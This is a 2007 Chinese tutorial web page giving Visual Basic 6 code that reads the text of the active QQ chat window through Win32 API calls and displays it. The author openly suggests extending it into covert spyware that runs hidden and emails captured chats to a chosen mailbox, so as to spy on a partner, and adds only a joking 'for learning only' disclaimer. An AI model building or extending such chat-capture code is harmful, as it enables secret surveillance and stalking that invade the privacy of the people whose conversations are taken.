教程中国
PHOTOSHOP CS9.0中文版 MAYA 8.5 FOR WINDOWS Corel Painter v9.0 Flash MX2004 中文版 Illustrator cs2 中文版
VC++6.0含sp6 中英文版 VB6.0 +sp6 简体中文版 Borland Delphi 7汉化版 MSDN for vb6.0中文版 Visual Studio 2005简体
教程中国下属 文件存储共享专家BIBIDU.COM 提供大型软件,教材,源码,电影,音乐,图书等下载 更多精品请点此进入
  您目前所在位置: 教程中国 >> VB >> 编程实例 >> 猎取当前QQ聊天内容-VB版 RSS订阅
猎取当前QQ聊天内容-VB版
教程(视频,书籍)下载:  ASP.NET AutoCAD 数据库 C# ASP java photoshop 网页设计 delphi 3dmax Flash C++ VB 张孝祥 实例   更多请进入BIBIDU搜索
IT搜索引擎   
使用VB6.0 新建一个EXE工程 新建一个窗体 添加一个textbox控件 将MultiLine属性改为:True 再添加一个timer控件 Enlable=True ,Interval=1000

再将以下代码完全复制到代码窗口,运行!

打一个好友,进行聊天模式进行聊天.....看到结果了吧

...那些对别人隐私感兴趣的同学可以把它完善一下...把程序的运行状态设为隐藏,将获得的特定的聊天内容,以MAIL的方式发送到指定邮箱...呵呵...怀疑你的GF/BF背着你跟另外的GG/MM聊得火热,但又不知道他们到底说些什么,,,试一下吧...呵呵...话说回来,发程序只为互相交流与学习...为此若引起两口子打架,各孽的不要来找我哈....

Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SendMessage& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any)
'Private Const WM_GETTEXT = &H7D
Private Const WM_GETTEXT = &HD
Private Const WM_GETTEXTLENGTH = &HE

Private Sub Form_Load()
Timer1.Interval = 1000
End Sub

Private Sub Timer1_Timer()
  On Error Resume Next
  Dim sText As String * 255
  Dim TextObj As Long
  Dim txtLendth As Long, txtBuff As String
 
  TheWindow = GetForegroundWindow '获得当前窗口句柄
 
  If TheWindow = 0 Then Exit Sub
  thewindow_title = Left$(sText, GetWindowText(TheWindow, sText, 255)) '得到聊天窗口标题~
  chatobj = thewindow_title
 
  'Debug.Print thewindow_title
 
  If InStr(thewindow_title, "聊天中") <> 0 Or InStr(thewindow_title, "- 群") <> 0 Or InStr(thewindow_title, "查看消息") <> 0 Then
    TextObj = FindWindowEx(TheWindow, 0, "#32770", vbNullString) '通用对话框的类
    If TextObj = 0 Then Exit Sub
    TextObj = FindWindowEx(TextObj, 0, "", vbNullString) '聊天框的类'我操 腾讯将发送窗口的RichEdit改过了 得不到它的句柄
    If TextObj = 0 Then Exit Sub
    txtLength = SendMessage(TextObj, WM_GETTEXTLENGTH, ByVal CLng(0), ByVal CLng(0))
    txtBuff = Space(txtLength)
    retVal = SendMessage(TextObj, 13, ByVal txtLength + 1, ByVal txtBuff)
    Text1 = Left(txtBuff, retVal) & vbCrLf & vbCrLf & "以上聊天对象为:" & chatobj
  Else
    Exit Sub
  End If
 
End Sub

来源:www.upschool.com.cn
作者:吴龙杰
关键字:QQ聊天内容,vb
发表日期:2007-2-17 0:05:48

网页显示有限 阅读全文请下载本文完整版WORD文档

上一篇:VB 关于mscomm控件的两个问题   下一篇:


本文的相类似文章
  • 猎取当前QQ聊天内容-VB版
  • VB 关于mscomm控件的两个问题
  • VB下如何编写CRC校验程序
  • VB实现按钮浮动效果
  • VB编写入侵监听程序
  • VB实现窗口的弹出式菜单
  • VB编程获取文件中集成的图标
  • VB编写一个加密软件
  • VB 有关农历算法
  • VB与Windows资源管理器互拷文件
  • 网友评论 查看本文全部评论
    笔 名: *
    评 论:
    最多500字。当前字数:0
    联系方式:
    验证码:
    在学习中进步 在进步中成长 教程中国相随您的成长之路
    华腾联合科技股份有限公司版权所有
    广告联系:Rosibo@163.com